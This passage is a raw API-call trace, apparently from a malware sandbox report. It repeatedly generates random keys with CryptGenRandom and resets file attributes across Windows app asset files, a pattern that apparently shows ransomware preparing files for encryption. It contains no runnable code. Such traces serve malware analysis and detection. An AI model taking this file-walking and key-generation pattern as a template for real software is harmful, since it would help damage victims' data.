pbBuffer=0x30ee728) returned 1 [0218.210] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-20.png", dwFileAttributes=0x80) returned 0 [0218.210] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cdb18 | out: pbBuffer=0x34cdb18) returned 1 [0218.210] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee738 | out: pbBuffer=0x30ee738) returned 1 [0218.210] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-16.png", dwFileAttributes=0x80) returned 0 [0218.211] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ccdb0 | out: pbBuffer=0x34ccdb0) returned 1 [0218.211] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee6c8 | out: pbBuffer=0x30ee6c8) returned 1 [0218.211] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-54.png", dwFileAttributes=0x80) returned 0 [0218.211] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cceb8 | out: pbBuffer=0x34cceb8) returned 1 [0218.211] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee838 | out: pbBuffer=0x30ee838) returned 1 [0218.211] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-38.png", dwFileAttributes=0x80) returned 0 [0218.275] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cc360 | out: pbBuffer=0x34cc360) returned 1 [0218.275] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee848 | out: pbBuffer=0x30ee848) returned 1 [0218.275] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-36.png", dwFileAttributes=0x80) returned 0 [0218.276] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cc570 | out: pbBuffer=0x34cc570) returned 1 [0218.276] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee6d8 | out: pbBuffer=0x30ee6d8) returned 1 [0218.276] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-24.png", dwFileAttributes=0x80) returned 0 [0218.276] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cde30 | out: pbBuffer=0x34cde30) returned 1 [0218.276] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee718 | out: pbBuffer=0x30ee718) returned 1 [0218.276] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-20.png", dwFileAttributes=0x80) returned 0 [0218.277] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cd3e0 | out: pbBuffer=0x34cd3e0) returned 1 [0218.277] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee748 | out: pbBuffer=0x30ee748) returned 1 [0218.277] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-16.png", dwFileAttributes=0x80) returned 0 [0218.315] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cd800 | out: pbBuffer=0x34cd800) returned 1 [0218.315] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee768 | out: pbBuffer=0x30ee768) returned 1 [0218.315] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-54.png", dwFileAttributes=0x80) returned 0 [0218.315] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cda10 | out: pbBuffer=0x34cda10) returned 1 [0218.315] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee858 | out: pbBuffer=0x30ee858) returned 1 [0218.315] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-38.png", dwFileAttributes=0x80) returned 0 [0218.315] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cc780 | out: pbBuffer=0x34cc780) returned 1 [0218.315] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee888 | out: pbBuffer=0x30ee888) returned 1 [0218.315] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-36.png", dwFileAttributes=0x80) returned 0 [0218.315] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cc888 | out: pbBuffer=0x34cc888) returned 1 [0218.315] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee878 | out: pbBuffer=0x30ee878) returned 1 [0218.315] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-24.png", dwFileAttributes=0x80) returned 0 [0218.321] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ccca8 | out: pbBuffer=0x34ccca8) returned 1 [0218.321] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee6e8 | out: pbBuffer=0x30ee6e8) returned 1 [0218.321] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-20.png", dwFileAttributes=0x80) returned 0 [0218.321] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c73f8 | out: pbBuffer=0x34c73f8) returned 1 [0218.321] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee778 | out: pbBuffer=0x30ee778) returned 1 [0218.321] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-16.png", dwFileAttributes=0x80) returned 0 [0218.321] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6588 | out: pbBuffer=0x34c6588) returned 1 [0218.321] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee798 | out: pbBuffer=0x30ee798) returned 1 [0218.321] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c69a8 | out: pbBuffer=0x34c69a8) returned 1 [0218.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee7a8 | out: pbBuffer=0x30ee7a8) returned 1 [0218.326] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c68a0 | out: pbBuffer=0x34c68a0) returned 1 [0218.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee7c8 | out: pbBuffer=0x30ee7c8) returned 1 [0218.326] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c72f0 | out: pbBuffer=0x34c72f0) returned 1 [0218.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee7b8 | out: pbBuffer=0x30ee7b8) returned 1 [0218.327] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6168 | out: pbBuffer=0x34c6168) returned 1 [0218.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee208 | out: pbBuffer=0x30ee208) returned 1 [0218.327] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c7710 | out: pbBuffer=0x34c7710) returned 1 [0218.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee0f8 | out: pbBuffer=0x30ee0f8) returned 1 [0218.327] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6ed0 | out: pbBuffer=0x34c6ed0) returned 1 [0218.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee1c8 | out: pbBuffer=0x30ee1c8) returned 1 [0218.327] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c7e48 | out: pbBuffer=0x34c7e48) returned 1 [0218.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee238 | out: pbBuffer=0x30ee238) returned 1 [0218.327] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6690 | out: pbBuffer=0x34c6690) returned 1 [0218.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee138 | out: pbBuffer=0x30ee138) returned 1 [0218.328] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c7608 | out: pbBuffer=0x34c7608) returned 1 [0218.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee1f8 | out: pbBuffer=0x30ee1f8) returned 1 [0218.328] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6480 | out: pbBuffer=0x34c6480) returned 1 [0218.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee2a8 | out: pbBuffer=0x30ee2a8) returned 1 [0218.328] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6dc8 | out: pbBuffer=0x34c6dc8) returned 1 [0218.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee218 | out: pbBuffer=0x30ee218) returned 1 [0218.328] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-96.png", dwFileAttributes=0x80) returned 0 [0218.329] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c7818 | out: pbBuffer=0x34c7818) returned 1 [0218.329] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee178 | out: pbBuffer=0x30ee178) returned 1 [0218.329] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-48.png", dwFileAttributes=0x80) returned 0 [0218.330] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6ab0 | out: pbBuffer=0x34c6ab0) returned 1 [0218.330] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee298 | out: pbBuffer=0x30ee298) returned 1 [0218.330] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-40.png", dwFileAttributes=0x80) returned 0 [0218.331] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c70e0 | out: pbBuffer=0x34c70e0) returned 1 [0218.331] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee2b8 | out: pbBuffer=0x30ee2b8) returned 1 [0218.331] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-32.png", dwFileAttributes=0x80) returned 0 [0218.331] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6fd8 | out: pbBuffer=0x34c6fd8) returned 1 [0218.331] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee158 | out: pbBuffer=0x30ee158) returned 1 [0218.331] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-24.png", dwFileAttributes=0x80) returned 0 [0218.331] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c71e8 | out: pbBuffer=0x34c71e8) returned 1 [0218.332] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee188 | out: pbBuffer=0x30ee188) returned 1 [0218.332] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.png", dwFileAttributes=0x80) returned 0 [0218.332] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c7500 | out: pbBuffer=0x34c7500) returned 1 [0218.332] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee148 | out: pbBuffer=0x30ee148) returned 1 [0218.332] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseAppList.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.332] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c7920 | out: pbBuffer=0x34c7920) returned 1 [0218.332] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee248 | out: pbBuffer=0x30ee248) returned 1 [0218.332] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.332] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c7a28 | out: pbBuffer=0x34c7a28) returned 1 [0218.332] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee168 | out: pbBuffer=0x30ee168) returned 1 [0218.332] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.332] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6378 | out: pbBuffer=0x34c6378) returned 1 [0218.332] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee0d8 | out: pbBuffer=0x30ee0d8) returned 1 [0218.332] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6270 | out: pbBuffer=0x34c6270) returned 1 [0218.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee0c8 | out: pbBuffer=0x30ee0c8) returned 1 [0218.333] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-200.png", dwFileAttributes=0x80) returned 0 [0218.334] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c7d40 | out: pbBuffer=0x34c7d40) returned 1 [0218.334] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee228 | out: pbBuffer=0x30ee228) returned 1 [0218.334] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Wide310x150Logo.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.337] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c7f50 | out: pbBuffer=0x34c7f50) returned 1 [0218.338] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee198 | out: pbBuffer=0x30ee198) returned 1 [0218.338] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.374] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6bb8 | out: pbBuffer=0x34c6bb8) returned 1 [0218.374] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee258 | out: pbBuffer=0x30ee258) returned 1 [0218.374] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.482] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8058 | out: pbBuffer=0x34c8058) returned 1 [0218.482] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee278 | out: pbBuffer=0x30ee278) returned 1 [0218.482] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Square310x310Logo.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c7b30 | out: pbBuffer=0x34c7b30) returned 1 [0218.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee1a8 | out: pbBuffer=0x30ee1a8) returned 1 [0218.500] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.507] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6060 | out: pbBuffer=0x34c6060) returned 1 [0218.507] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee1b8 | out: pbBuffer=0x30ee1b8) returned 1 [0218.507] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-48.png", dwFileAttributes=0x80) returned 0 [0218.514] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c7c38 | out: pbBuffer=0x34c7c38) returned 1 [0218.514] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee108 | out: pbBuffer=0x30ee108) returned 1 [0218.514] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-256.png", dwFileAttributes=0x80) returned 0 [0218.517] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6798 | out: pbBuffer=0x34c6798) returned 1 [0218.517] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee1d8 | out: pbBuffer=0x30ee1d8) returned 1 [0218.517] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-24.png", dwFileAttributes=0x80) returned 0 [0218.556] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c6cc0 | out: pbBuffer=0x34c6cc0) returned 1 [0218.556] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee268 | out: pbBuffer=0x30ee268) returned 1 [0218.556] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-16.png", dwFileAttributes=0x80) returned 0 [0218.556] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8ec8 | out: pbBuffer=0x34c8ec8) returned 1 [0218.556] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee288 | out: pbBuffer=0x30ee288) returned 1 [0218.556] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.557] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ca158 | out: pbBuffer=0x34ca158) returned 1 [0218.557] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee1e8 | out: pbBuffer=0x30ee1e8) returned 1 [0218.557] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Logo.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.575] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8fd0 | out: pbBuffer=0x34c8fd0) returned 1 [0218.575] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee0e8 | out: pbBuffer=0x30ee0e8) returned 1 [0218.575] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\BrandingLogo.png", dwFileAttributes=0x80) returned 0 [0218.577] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8370 | out: pbBuffer=0x34c8370) returned 1 [0218.577] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee118 | out: pbBuffer=0x30ee118) returned 1 [0218.577] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x80) returned 0 [0218.696] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8790 | out: pbBuffer=0x34c8790) returned 1 [0218.696] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee128 | out: pbBuffer=0x30ee128) returned 1 [0218.696] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.705] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8160 | out: pbBuffer=0x34c8160) returned 1 [0218.705] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee368 | out: pbBuffer=0x30ee368) returned 1 [0218.705] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.707] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c9918 | out: pbBuffer=0x34c9918) returned 1 [0218.707] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee418 | out: pbBuffer=0x30ee418) returned 1 [0218.707] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.707] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8268 | out: pbBuffer=0x34c8268) returned 1 [0218.707] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee3a8 | out: pbBuffer=0x30ee3a8) returned 1 [0218.707] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.708] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c9d38 | out: pbBuffer=0x34c9d38) returned 1 [0218.708] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee338 | out: pbBuffer=0x30ee338) returned 1 [0218.708] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.709] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c92e8 | out: pbBuffer=0x34c92e8) returned 1 [0218.709] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee3c8 | out: pbBuffer=0x30ee3c8) returned 1 [0218.709] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.710] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c8898 | out: pbBuffer=0x34c8898) returned 1 [0218.710] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee398 | out: pbBuffer=0x30ee398) returned 1 [0218.710] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-100.png", dwFileAttributes=0x80) returned 0 [0218.712] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c94f8 | out: pbBuffer=0x34c94f8) returned 1 [0218.712] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ee3d8 | out: pbBuffer=0x30ee3d8) returned 1 [0218.712] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-100.png", dwFileAttributes=0x80) returned 